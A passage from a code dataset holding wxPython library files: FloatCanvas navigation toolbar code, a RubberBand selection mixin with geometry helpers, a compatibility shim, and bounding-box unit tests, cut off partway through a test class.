Out\", GUIMode.GUIZoomOut(), Resources.getMagMinusBitmap()),\n (\"Pan\", GUIMode.GUIMove(), Resources.getHandBitmap()),\n ]\n \n self.BuildToolbar()\n ## Create the vertical sizer for the toolbar and Panel\n box = wx.BoxSizer(wx.VERTICAL)\n box.Add(self.ToolBar, 0, wx.ALL | wx.ALIGN_LEFT | wx.GROW, 4)\n\n self.Canvas = FloatCanvas.FloatCanvas(self, **kwargs)\n box.Add(self.Canvas, 1, wx.GROW)\n\n self.SetSizerAndFit(box)\n\n # default to first mode\n #self.ToolBar.ToggleTool(self.PointerTool.GetId(), True)\n self.Canvas.SetMode(self.Modes[0][1])\n\n return None\n\n def BuildToolbar(self):\n \"\"\"\n This is here so it can be over-ridden in a ssubclass, to add extra tools, etc\n \"\"\"\n tb = wx.ToolBar(self)\n self.ToolBar = tb\n tb.SetToolBitmapSize((24,24))\n self.AddToolbarModeButtons(tb, self.Modes)\n self.AddToolbarZoomButton(tb)\n tb.Realize()\n ## fixme: remove this when the bug is fixed!\n #wx.CallAfter(self.HideShowHack) # this required on wxPython 2.8.3 on OS-X\n \n def AddToolbarModeButtons(self, tb, Modes):\n self.ModesDict = {}\n for Mode in Modes:\n tool = tb.AddRadioTool(wx.ID_ANY, shortHelp=Mode[0], bitmap=Mode[2])\n self.Bind(wx.EVT_TOOL, self.SetMode, tool)\n self.ModesDict[tool.GetId()]=Mode[1]\n #self.ZoomOutTool = tb.AddRadioTool(wx.ID_ANY, bitmap=Resources.getMagMinusBitmap(), shortHelp = \"Zoom Out\")\n #self.Bind(wx.EVT_TOOL, lambda evt : self.SetMode(Mode=self.GUIZoomOut), self.ZoomOutTool)\n\n def AddToolbarZoomButton(self, tb):\n tb.AddSeparator()\n\n self.ZoomButton = wx.Button(tb, label=\"Zoom To Fit\")\n tb.AddControl(self.ZoomButton)\n self.ZoomButton.Bind(wx.EVT_BUTTON, self.ZoomToFit)\n\n\n def HideShowHack(self):\n ##fixme: remove this when the bug is fixed!\n \"\"\"\n Hack to hide and show button on toolbar to get around OS-X bug on\n wxPython2.8 on OS-X\n \"\"\"\n self.ZoomButton.Hide()\n self.ZoomButton.Show()\n\n def SetMode(self, event):\n Mode = self.ModesDict[event.GetId()]\n self.Canvas.SetMode(Mode)\n\n def ZoomToFit(self,Event):\n self.Canvas.ZoomToBB()\n self.Canvas.SetFocus() # Otherwise the focus stays on the Button, and wheel events are lost.\n\n", "id": "3948173", "language": "Python", "matching_score": 1.103201150894165, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/floatcanvas/NavCanvas.py" }, { "content": "#---------------------------------------------------------------------------\n# Name: wxPython.lib.mixins.rubberband\n# Purpose: A mixin class for doing \"RubberBand\"-ing on a window.\n#\n# Author: <NAME> and members of wxPython-users\n#\n# Created: 11-September-2002\n# RCS-ID: $Id: rubberband.py 24889 2003-12-17 00:34:40Z RD $\n# Copyright: (c) 2002 by db-X Corporation\n# Licence: wxWindows license\n#---------------------------------------------------------------------------\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n# o Tested, but there is an anomaly between first use and subsequent uses.\n# First use is odd, subsequent uses seem to be OK. Init error?\n# -- No, the first time it uses an aspect ratio, but after the reset it doesn't.\n#\n\n\"\"\"\nA mixin class for doing \"RubberBand\"-ing on a window.\n\"\"\"\n\nimport wx\n\n#\n# Some miscellaneous mathematical and geometrical functions\n#\n\ndef isNegative(aNumber):\n \"\"\"\n x < 0: 1\n else: 0\n \"\"\"\n return aNumber < 0\n\n\ndef normalizeBox(box):\n \"\"\"\n Convert any negative measurements in the current\n box to positive, and adjust the origin.\n \"\"\"\n x, y, w, h = box\n if w < 0:\n x += (w+1)\n w *= -1\n if h < 0:\n y += (h+1)\n h *= -1\n return (x, y, w, h)\n\n\ndef boxToExtent(box):\n \"\"\"\n Convert a box specification to an extent specification.\n I put this into a seperate function after I realized that\n I had been implementing it wrong in several places.\n \"\"\"\n b = normalizeBox(box)\n return (b[0], b[1], b[0]+b[2]-1, b[1]+b[3]-1)\n\n\ndef pointInBox(x, y, box):\n \"\"\"\n Return True if the given point is contained in the box.\n \"\"\"\n e = boxToExtent(box)\n return x >= e[0] and x <= e[2] and y >= e[1] and y <= e[3]\n\n\ndef pointOnBox(x, y, box, thickness=1):\n \"\"\"\n Return True if the point is on the outside edge\n of the box. The thickness defines how thick the\n edge should be. This is necessary for HCI reasons:\n For example, it's normally very difficult for a user\n to manuever the mouse onto a one pixel border.\n \"\"\"\n outerBox = box\n innerBox = (box[0]+thickness, box[1]+thickness, box[2]-(thickness*2), box[3]-(thickness*2))\n return pointInBox(x, y, outerBox) and not pointInBox(x, y, innerBox)\n\n\ndef getCursorPosition(x, y, box, thickness=1):\n \"\"\"\n Return a position number in the range 0 .. 7 to indicate\n where on the box border the point is. The layout is:\n\n 0 1 2\n 7 3\n 6 5 4\n \"\"\"\n x0, y0, x1, y1 = boxToExtent(box)\n w, h = box[2], box[3]\n delta = thickness - 1\n p = None\n\n if pointInBox(x, y, (x0, y0, thickness, thickness)):\n p = 0\n elif pointInBox(x, y, (x1-delta, y0, thickness, thickness)):\n p = 2\n elif pointInBox(x, y, (x1-delta, y1-delta, thickness, thickness)):\n p = 4\n elif pointInBox(x, y, (x0, y1-delta, thickness, thickness)):\n p = 6\n elif pointInBox(x, y, (x0+thickness, y0, w-(thickness*2), thickness)):\n p = 1\n elif pointInBox(x, y, (x1-delta, y0+thickness, thickness, h-(thickness*2))):\n p = 3\n elif pointInBox(x, y, (x0+thickness, y1-delta, w-(thickness*2), thickness)):\n p = 5\n elif pointInBox(x, y, (x0, y0+thickness, thickness, h-(thickness*2))):\n p = 7\n\n return p\n\n\n\n\nclass RubberBand:\n \"\"\"\n A stretchable border which is drawn on top of an\n image to define an area.\n \"\"\"\n def __init__(self, drawingSurface, aspectRatio=None):\n self.__THICKNESS = 5\n self.drawingSurface = drawingSurface\n self.aspectRatio = aspectRatio\n self.hasLetUp = 0\n self.currentlyMoving = None\n self.currentBox = None\n self.__enabled = 1\n self.__currentCursor = None\n\n drawingSurface.Bind(wx.EVT_MOUSE_EVENTS, self.__handleMouseEvents)\n drawingSurface.Bind(wx.EVT_PAINT, self.__handleOnPaint)\n\n def __setEnabled(self, enabled):\n self.__enabled = enabled\n\n def __isEnabled(self):\n return self.__enabled\n\n def __handleOnPaint(self, event):\n #print 'paint'\n event.Skip()\n\n def __isMovingCursor(self):\n \"\"\"\n Return True if the current cursor is one used to\n mean moving the rubberband.\n \"\"\"\n return self.__currentCursor == wx.CURSOR_HAND\n\n def __isSizingCursor(self):\n \"\"\"\n Return True if the current cursor is one of the ones\n I may use to signify sizing.\n \"\"\"\n sizingCursors = [wx.CURSOR_SIZENESW,\n wx.CURSOR_SIZENS,\n wx.CURSOR_SIZENWSE,\n wx.CURSOR_SIZEWE,\n wx.CURSOR_SIZING,\n wx.CURSOR_CROSS]\n try:\n sizingCursors.index(self.__currentCursor)\n return 1\n except ValueError:\n return 0\n\n\n def __handleMouseEvents(self, event):\n \"\"\"\n React according to the new event. This is the main\n entry point into the class. This method contains the\n logic for the class's behavior.\n \"\"\"\n if not self.enabled:\n return\n\n x, y = event.GetPosition()\n\n # First make sure we have started a box.\n if self.currentBox == None and not event.LeftDown():\n # No box started yet. Set cursor to the initial kind.\n self.__setCursor(wx.CURSOR_CROSS)\n return\n\n if event.LeftDown():\n if self.currentBox == None:\n # No RB Box, so start a new one.\n self.currentBox = (x, y, 0, 0)\n self.hasLetUp = 0\n elif self.__isSizingCursor():\n # Starting a sizing operation. Change the origin.\n position = getCursorPosition(x, y, self.currentBox, thickness=self.__THICKNESS)\n self.currentBox = self.__denormalizeBox(position, self.currentBox)\n\n elif event.Dragging() and event.LeftIsDown():\n # Use the cursor type to determine operation\n if self.__isMovingCursor():\n if self.currentlyMoving or pointInBox(x, y, self.currentBox):\n if not self.currentlyMoving:\n self.currentlyMoving = (x - self.currentBox[0], y - self.currentBox[1])\n self.__moveTo(x - self.currentlyMoving[0], y - self.currentlyMoving[1])\n elif self.__isSizingCursor():\n self.__resizeBox(x, y)\n\n elif event.LeftUp():\n self.hasLetUp = 1\n self.currentlyMoving = None\n self.__normalizeBox()\n\n elif event.Moving() and not event.Dragging():\n # Simple mouse movement event\n self.__mouseMoved(x,y)\n\n def __denormalizeBox(self, position, box):\n x, y, w, h = box\n b = box\n if position == 2 or position == 3:\n b = (x, y + (h-1), w, h * -1)\n elif position == 0 or position == 1 or position == 7:\n b = (x + (w-1), y + (h-1), w * -1, h * -1)\n elif position == 6:\n b = (x + (w-1), y, w * -1, h)\n return b\n\n def __resizeBox(self, x, y):\n \"\"\"\n Resize and repaint the box based on the given mouse\n coordinates.\n \"\"\"\n # Implement the correct behavior for dragging a side\n # of the box: Only change one dimension.\n if not self.aspectRatio:\n if self.__currentCursor == wx.CURSOR_SIZENS:\n x = None\n elif self.__currentCursor == wx.CURSOR_SIZEWE:\n y = None\n\n x0,y0,w0,h0 = self.currentBox\n currentExtent = boxToExtent(self.currentBox)\n if x == None:\n if w0 < 1:\n w0 += 1\n else:\n w0 -= 1\n x = x0 + w0\n if y == None:\n if h0 < 1:\n h0 += 1\n else:\n h0 -= 1\n y = y0 + h0\n x1,y1 = x, y\n w, h = abs(x1-x0)+1, abs(y1-y0)+1\n if self.aspectRatio:\n w = max(w, int(h * self.aspectRatio))\n h = int(w / self.aspectRatio)\n w *= [1,-1][isNegative(x1-x0)]\n h *= [1,-1][isNegative(y1-y0)]\n newbox = (x0, y0, w, h)\n self.__drawAndErase(boxToDraw=normalizeBox(newbox), boxToErase=normalizeBox(self.currentBox))\n self.currentBox = (x0, y0, w, h)\n\n def __normalizeBox(self):\n \"\"\"\n Convert any negative measurements in the current\n box to positive, and adjust the origin.\n \"\"\"\n self.currentBox = normalizeBox(self.currentBox)\n\n def __mouseMoved(self, x, y):\n \"\"\"\n Called when the mouse moved without any buttons pressed\n or dragging being done.\n \"\"\"\n # Are we on the bounding box?\n if pointOnBox(x, y, self.currentBox, thickness=self.__THICKNESS):\n position = getCursorPosition(x, y, self.currentBox, thickness=self.__THICKNESS)\n cursor = [\n wx.CURSOR_SIZENWSE,\n wx.CURSOR_SIZENS,\n wx.CURSOR_SIZENESW,\n wx.CURSOR_SIZEWE,\n wx.CURSOR_SIZENWSE,\n wx.CURSOR_SIZENS,\n wx.CURSOR_SIZENESW,\n wx.CURSOR_SIZEWE\n ] [position]\n self.__setCursor(cursor)\n elif pointInBox(x, y, self.currentBox):\n self.__setCursor(wx.CURSOR_HAND)\n else:\n self.__setCursor()\n\n def __setCursor(self, id=None):\n \"\"\"\n Set the mouse cursor to the given id.\n \"\"\"\n if self.__currentCursor != id: # Avoid redundant calls\n if id:\n self.drawingSurface.SetCursor(wx.StockCursor(id))\n else:\n self.drawingSurface.SetCursor(wx.NullCursor)\n self.__currentCursor = id\n\n def __moveCenterTo(self, x, y):\n \"\"\"\n Move the rubber band so that its center is at (x,y).\n \"\"\"\n x0, y0, w, h = self.currentBox\n x2, y2 = x - (w/2), y - (h/2)\n self.__moveTo(x2, y2)\n\n def __moveTo(self, x, y):\n \"\"\"\n Move the rubber band so that its origin is at (x,y).\n \"\"\"\n newbox = (x, y, self.currentBox[2], self.currentBox[3])\n self.__drawAndErase(boxToDraw=newbox, boxToErase=self.currentBox)\n self.currentBox = newbox\n\n def __drawAndErase(self, boxToDraw, boxToErase=None):\n \"\"\"\n Draw one box shape and possibly erase another.\n \"\"\"\n dc = wx.ClientDC(self.drawingSurface)\n dc.BeginDrawing()\n dc.SetPen(wx.Pen(wx.WHITE, 1, wx.DOT))\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.SetLogicalFunction(wx.XOR)\n if boxToErase:\n r = wx.Rect(*boxToErase)\n dc.DrawRectangleRect(r)\n\n r = wx.Rect(*boxToDraw)\n dc.DrawRectangleRect(r)\n dc.EndDrawing()\n\n def __dumpMouseEvent(self, event):\n print 'Moving: ',event.Moving()\n print 'Dragging: ',event.Dragging()\n print 'LeftDown: ',event.LeftDown()\n print 'LeftisDown: ',event.LeftIsDown()\n print 'LeftUp: ',event.LeftUp()\n print 'Position: ',event.GetPosition()\n print 'x,y: ',event.GetX(),event.GetY()\n print\n\n\n #\n # The public API:\n #\n\n def reset(self, aspectRatio=None):\n \"\"\"\n Clear the existing rubberband\n \"\"\"\n self.currentBox = None\n self.aspectRatio = aspectRatio\n self.drawingSurface.Refresh()\n\n def getCurrentExtent(self):\n \"\"\"\n Return (x0, y0, x1, y1) or None if\n no drawing has yet been done.\n \"\"\"\n if not self.currentBox:\n extent = None\n else:\n extent = boxToExtent(self.currentBox)\n return extent\n\n enabled = property(__isEnabled, __setEnabled, None, 'True if I am responding to mouse events')\n\n\n\nif __name__ == '__main__':\n app = wx.PySimpleApp()\n frame = wx.Frame(None, -1, title='RubberBand Test', size=(300,300))\n\n # Add a panel that the rubberband will work on.\n panel = wx.Panel(frame, -1)\n panel.SetBackgroundColour(wx.BLUE)\n\n # Create the rubberband\n frame.rubberBand = RubberBand(drawingSurface=panel)\n frame.rubberBand.reset(aspectRatio=0.5)\n\n # Add a button that creates a new rubberband\n def __newRubberBand(event):\n frame.rubberBand.reset()\n button = wx.Button(frame, 100, 'Reset Rubberband')\n frame.Bind(wx.EVT_BUTTON, __newRubberBand, button)\n\n # Layout the frame\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(panel, 1, wx.EXPAND | wx.ALL, 5)\n sizer.Add(button, 0, wx.ALIGN_CENTER | wx.ALL, 5)\n frame.SetAutoLayout(1)\n frame.SetSizer(sizer)\n frame.Show(1)\n app.MainLoop()\n", "id": "11668991", "language": "Python", "matching_score": 4.848175048828125, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/mixins/rubberband.py" }, { "content": "## This file imports items from the wx package into the wxPython package for\n## backwards compatibility. Some names will also have a 'wx' added on if\n## that is how they used to be named in the old wxPython package.\n\nimport wx.lib.mixins.rubberband\n\n__doc__ = wx.lib.mixins.rubberband.__doc__\n\nRubberBand = wx.lib.mixins.rubberband.RubberBand\nboxToExtent = wx.lib.mixins.rubberband.boxToExtent\ngetCursorPosition = wx.lib.mixins.rubberband.getCursorPosition\nisNegative = wx.lib.mixins.rubberband.isNegative\nnormalizeBox = wx.lib.mixins.rubberband.normalizeBox\npointInBox = wx.lib.mixins.rubberband.pointInBox\npointOnBox = wx.lib.mixins.rubberband.pointOnBox\n", "id": "9889136", "language": "Python", "matching_score": 0.6295231580734253, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/lib/mixins/rubberband.py" }, { "content": "#!/usr/bin/env python\n\n\n\"\"\"\nTest code for the BBox Object\n\n\"\"\"\n\nimport unittest\n\nfrom BBox import *\n\nclass testCreator(unittest.TestCase):\n def testCreates(self):\n B = BBox(((0,0),(5,5)))\n self.failUnless(isinstance(B, BBox))\n\n def testType(self):\n B = N.array(((0,0),(5,5)))\n self.failIf(isinstance(B, BBox))\n\n def testDataType(self):\n B = BBox(((0,0),(5,5)))\n self.failUnless(B.dtype == N.float)\n\n def testShape(self):\n B = BBox((0,0,5,5))\n self.failUnless(B.shape == (2,2))\n \n def testShape2(self):\n self.failUnlessRaises(ValueError, BBox, (0,0,5) )\n \n def testShape3(self):\n self.failUnlessRaises(ValueError, BBox, (0,0,5,6,7) )\n\n def testArrayConstruction(self):\n A = N.array(((4,5),(10,12)), N.float_)\n B = BBox(A)\n self.failUnless(isinstance(B, BBox))\n \n def testMinMax(self):\n self.failUnlessRaises(ValueError, BBox, (0,0,-1,6) )\n\n def testMinMax2(self):\n self.failUnlessRaises(ValueError, BBox, (0,0,1,-6) )\n\n def testMinMax(self):\n # OK to have a zero-sized BB\n B = BBox(((0,0),(0,5)))\n self.failUnless(isinstance(B, BBox))\n\n def testMinMax2(self):\n # OK to have a zero-sized BB\n B = BBox(((10.0,-34),(10.0,-34.0)))\n self.failUnless(isinstance(B, BBox))\n\n def testMinMax3(self):\n # OK to have a tiny BB\n B = BBox(((0,0),(1e-20,5)))\n self.failUnless(isinstance(B, BBox))\n\n def testMinMax4(self):\n # Should catch tiny difference\n self.failUnlessRaises(ValueError, BBox, ((0,0), (-1e-20,5)) )\n\nclass testAsBBox(unittest.TestCase):\n\n def testPassThrough(self):\n B = BBox(((0,0),(5,5)))\n C = asBBox(B)\n self.failUnless(B is C)\n\n def testPassThrough2(self):\n B = (((0,0),(5,5)))\n C = asBBox(B)\n self.failIf(B is C)\n \n def testPassArray(self):\n # Different data type\n A = N.array( (((0,0),(5,5))) )\n C = asBBox(A)\n self.failIf(A is C)\n \n def testPassArray2(self):\n # same data type -- should be a view\n A = N.array( (((0,0),(5,5))), N.float_ )\n C = asBBox(A)\n A[0,0] = -10\n self.failUnless(C[0,0] == A[0,0])\n \nclass testIntersect(unittest.TestCase):\n\n def testSame(self):\n B = BBox(((-23.5, 456),(56, 532.0)))\n C = BBox(((-23.5, 456),(56, 532.0)))\n self.failUnless(B.Overlaps(C) )\n \n def testUpperLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (0, 12),(10, 32.0) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testUpperRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (12, 12),(25, 32.0) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testLowerRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (12, 5),(25, 15) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testLowerLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (-10, 5),(8.5, 15) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testBelow(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (-10, 5),(8.5, 9.2) ) )\n self.failIf(B.Overlaps(C) )\n \n def testAbove(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (-10, 25.001),(8.5, 32) ) )\n self.failIf(B.Overlaps(C) )\n \n def testLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (4, 8),(4.95, 32) ) )\n self.failIf(B.Overlaps(C) )\n \n def testRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (17.1, 8),(17.95, 32) ) )\n self.failIf(B.Overlaps(C) )\n\n def testInside(self):\n B = BBox( ( (-15, -25),(-5, -10) ) )\n C = BBox( ( (-12, -22), (-6, -8) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testOutside(self):\n B = BBox( ( (-15, -25),(-5, -10) ) )\n C = BBox( ( (-17, -26), (3, 0) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testTouch(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (15, 8),(17.95, 32) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testCorner(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (15, 25),(17.95, 32) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testZeroSize(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (15, 25),(15, 25) ) )\n self.failUnless(B.Overlaps(C) )\n \n def testZeroSize2(self):\n B = BBox( ( (5, 10),(5, 10) ) )\n C = BBox( ( (15, 25),(15, 25) ) )\n self.failIf(B.Overlaps(C) )\n \n def testZeroSize3(self):\n B = BBox( ( (5, 10),(5, 10) ) )\n C = BBox( ( (0, 8),(10, 12) ) )\n self.failUnless(B.Overlaps(C) )\n\n def testZeroSize4(self):\n B = BBox( ( (5, 1),(10, 25) ) )\n C = BBox( ( (8, 8),(8, 8) ) )\n self.failUnless(B.Overlaps(C) )\n\n\n\nclass testEquality(unittest.TestCase):\n def testSame(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n self.failUnless(B == C)\n \n def testIdentical(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n self.failUnless(B == B)\n \n def testNotSame(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = BBox( ( (1.0, 2.0), (5.0, 10.1) ) )\n self.failIf(B == C)\n \n def testWithArray(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = N.array( ( (1.0, 2.0), (5.0, 10.0) ) )\n self.failUnless(B == C)\n \n def testWithArray2(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = N.array( ( (1.0, 2.0), (5.0, 10.0) ) )\n self.failUnless(C == B)\n \n def testWithArray2(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = N.array( ( (1.01, 2.0), (5.0, 10.0) ) )\n self.failIf(C == B)\n \nclass testInside(unittest.TestCase):\n def testSame(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n self.failUnless(B.Inside(C))\n\n def testPoint(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = BBox( ( (3.0, 4.0), (3.0, 4.0) ) )\n self.failUnless(B.Inside(C))\n\n def testPointOutside(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n C = BBox( ( (-3.0, 4.0), (0.10, 4.0) ) )\n self.failIf(B.Inside(C))\n\n def testUpperLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (0, 12),(10, 32.0) ) )\n self.failIf(B.Inside(C) )\n \n def testUpperRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (12, 12),(25, 32.0) ) )\n self.failIf(B.Inside(C) )\n \n def testLowerRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (12, 5),(25, 15) ) )\n self.failIf(B.Inside(C) )\n \n def testLowerLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (-10, 5),(8.5, 15) ) )\n self.failIf(B.Inside(C) )\n \n def testBelow(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (-10, 5),(8.5, 9.2) ) )\n self.failIf(B.Inside(C) )\n \n def testAbove(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (-10, 25.001),(8.5, 32) ) )\n self.failIf(B.Inside(C) )\n \n def testLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (4, 8),(4.95, 32) ) )\n self.failIf(B.Inside(C) )\n \n def testRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n C = BBox( ( (17.1, 8),(17.95, 32) ) )\n self.failIf(B.Inside(C) )\n\nclass testPointInside(unittest.TestCase):\n def testPointIn(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n P = (3.0, 4.0)\n self.failUnless(B.PointInside(P))\n\n def testUpperLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = (4, 30)\n self.failIf(B.PointInside(P))\n \n def testUpperRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = (16, 30)\n self.failIf(B.PointInside(P))\n \n def testLowerRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = (16, 4)\n self.failIf(B.PointInside(P))\n \n def testLowerLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = (-10, 5)\n self.failIf(B.PointInside(P))\n \n def testBelow(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = (10, 5)\n self.failIf(B.PointInside(P))\n \n def testAbove(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = ( 10, 25.001)\n self.failIf(B.PointInside(P))\n \n def testLeft(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = (4, 12)\n self.failIf(B.PointInside(P))\n \n def testRight(self):\n B = BBox( ( (5, 10),(15, 25) ) )\n P = (17.1, 12.3)\n self.failIf(B.PointInside(P))\n\n def testPointOnTopLine(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n P = (3.0, 10.0)\n self.failUnless(B.PointInside(P))\n\n def testPointLeftTopLine(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n P = (-3.0, 10.0)\n self.failIf(B.PointInside(P))\n\n def testPointOnBottomLine(self):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n P = (3.0, 5.0)\n self.failUnless(B.PointInside(P))\n\n def testPointOnLeft(self):\n B = BBox( ( (-10.0, -10.0), (-1.0, -1.0) ) )\n P = (-10, -5.0)\n self.failUnless(B.PointInside(P))\n\n def testPointOnRight(self):\n B = BBox( ( (-10.0, -10.0), (-1.0, -1.0) ) )\n P = (-1, -5.0)\n self.failUnless(B.PointInside(P))\n\n def testPointOnBottomRight(self):\n B = BBox( ( (-10.0, -10.0), (-1.0, -1.0) ) )\n P = (-1, -10.0)\n self.failUnless(B.PointInside(P))\n\nclass testFromPoints(unittest.TestCase):\n\n def testCreate(self):\n Pts = N.array( ((5,2),\n (3,4),\n (1,6),\n ), N.float_ )\n B = fromPoints(Pts)\n #B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n self.failUnless(B[0,0] == 1.0 and\n B[0,1] == 2.0 and\n B[1,0] == 5.0 and\n B[1,1] == 6.0\n )\n def testCreateInts(self):\n Pts = N.array( ((5,2),\n (3,4),\n (1,6),\n ) )\n B = fromPoints(Pts)\n self.failUnless(B[0,0] == 1.0 and\n B[0,1] == 2.0 and\n B[1,0] == 5.0 and\n B[1,1] == 6.0\n )\n\n def testSinglePoint(self):\n Pts = N.array( (5,2), N.float_ )\n B = fromPoints(Pts)\n self.failUnless(B[0,0] == 5.0 and\n B[0,1] == 2.0 and\n B[1,0] == 5.0 and\n B[1,1] == 2.0\n )\n\n def testListTuples(self):\n Pts = [ (3, 6.5),\n (13, 43.2),\n (-4.32, -4),\n (65, -23),\n (-0.0001, 23.432),\n ]\n B = fromPoints(Pts) \n self.failUnless(B[0,0] == -4.32 and\n B[0,1] == -23.0 and\n B[1,0] == 65.0 and\n B[1,1] == 43.2\n )\nclass testMerge(unittest.TestCase):\n A = BBox( ((-23.5, 456), (56, 532.0)) )\n B = BBox( ((-20.3, 460), (54, 465 )) )# B should be completely inside A\n C = BBox( ((-23.5, 456), (58, 540.0)) )# up and to the right or A\n D = BBox( ((-26.5, 12), (56, 532.0)) )\n\n def testInside(self):\n C = self.A.copy()\n C.Merge(self.B)\n self.failUnless(C == self.A)\n\n def testFullOutside(self):\n C = self.B.copy()\n C.Merge(self.A)\n self.failUnless(C == self.A)\n\n def testUpRight(self):\n A = self.A.copy()\n A.Merge(self.C)\n self.failUnless(A[0] == self.A[0] and A[1] == self.C[1])\n\n def testDownLeft(self):\n A = self.A.copy()\n A.Merge(self.D)\n self.failUnless(A[0] == self.D[0] and A[1] == self.A[1])\n\nclass testWidthHeight(unittest.TestCase):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n def testWidth(self):\n self.failUnless(self.B.Width == 4.0)\n\n def testWidth(self):\n self.failUnless(self.B.Height == 8.0)\n\n def attemptSetWidth(self):\n self.B.Width = 6\n\n def attemptSetHeight(self):\n self.B.Height = 6\n\n def testSetW(self):\n self.failUnlessRaises(AttributeError, self.attemptSetWidth)\n \n def testSetH(self):\n self.failUnlessRaises(AttributeError, self.attemptSetHeight)\n \nclass testCenter(unittest.TestCase):\n B = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n def testCenter(self):\n self.failUnless( (self.B.Center == (3.0, 6.0)).all() )\n\n def attemptSetCenter(self):\n self.B.Center = (6, 5)\n\n def testSetCenter(self):\n self.failUnlessRaises(AttributeError, self.attemptSetCenter)\n \n\nclass testBBarray(unittest.TestCase):\n BBarray = N.array( ( ((-23.5, 456), (56, 532.0)),\n ((-20.3, 460), (54, 465 )),\n ((-23.5, 456), (58, 540.0)),\n ((-26.5, 12), (56, 532.0)),\n ),\n dtype=N.float)\n BB = asBBox( ((-26.5, 12.), ( 58. , 540.)) )\n\n def testJoin(self):\n BB = fromBBArray(self.BBarray)\n self.failUnless(BB == self.BB, \"Wrong BB was created. It was:\\n%s \\nit should have been:\\n%s\"%(BB, self.BB))\n\nclass testNullBBox(unittest.TestCase):\n B1 = NullBBox()\n B2 = NullBBox()\n B3 = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n\n def testValues(self):\n self.failUnless( N.alltrue(N.isnan(self.B1)) )\n \n def testIsNull(self):\n self.failUnless( self.B1.IsNull )\n\n def testEquals(self):\n self.failUnless( (self.B1 == self.B2) == True )\n \n def testNotEquals(self):\n self.failUnless ( (self.B1 == self.B3) == False,\n \"NotEquals failed for\\n%s,\\n %s:%s\"%(self.B1, self.B3, (self.B1 == self.B3)) ) \n\n def testNotEquals2(self):\n self.failUnless ( (self.B3 == self.B1) == False,\n \"NotEquals failed for\\n%s,\\n %s:%s\"%(self.B3, self.B1, (self.B3 == self.B1)) ) \n \n def testMerge(self):\n C = self.B1.copy()\n C.Merge(self.B3)\n self.failUnless( C == self.B3,\n \"merge failed, got: %s\"%C )\n \n def testOverlaps(self):\n self.failUnless( self.B1.Overlaps(self.B3) == False)\n\n def testOverlaps2(self):\n self.failUnless( self.B3.Overlaps(self.B1) == False)\n\n\nclass testInfBBox(unittest.TestCase):\n B1 = InfBBox()\n B2 = InfBBox()\n B3 = BBox( ( (1.0, 2.0), (5.0, 10.0) ) )\n NB = NullBBox()\n\n def testValues(self):\n self.failUnless( N.alltrue(N.isinf(self.B1)) )\n \n# def testIsNull(self):\n# self.failUnless( self.B1.IsNull )\n\n def testEquals(self):\n 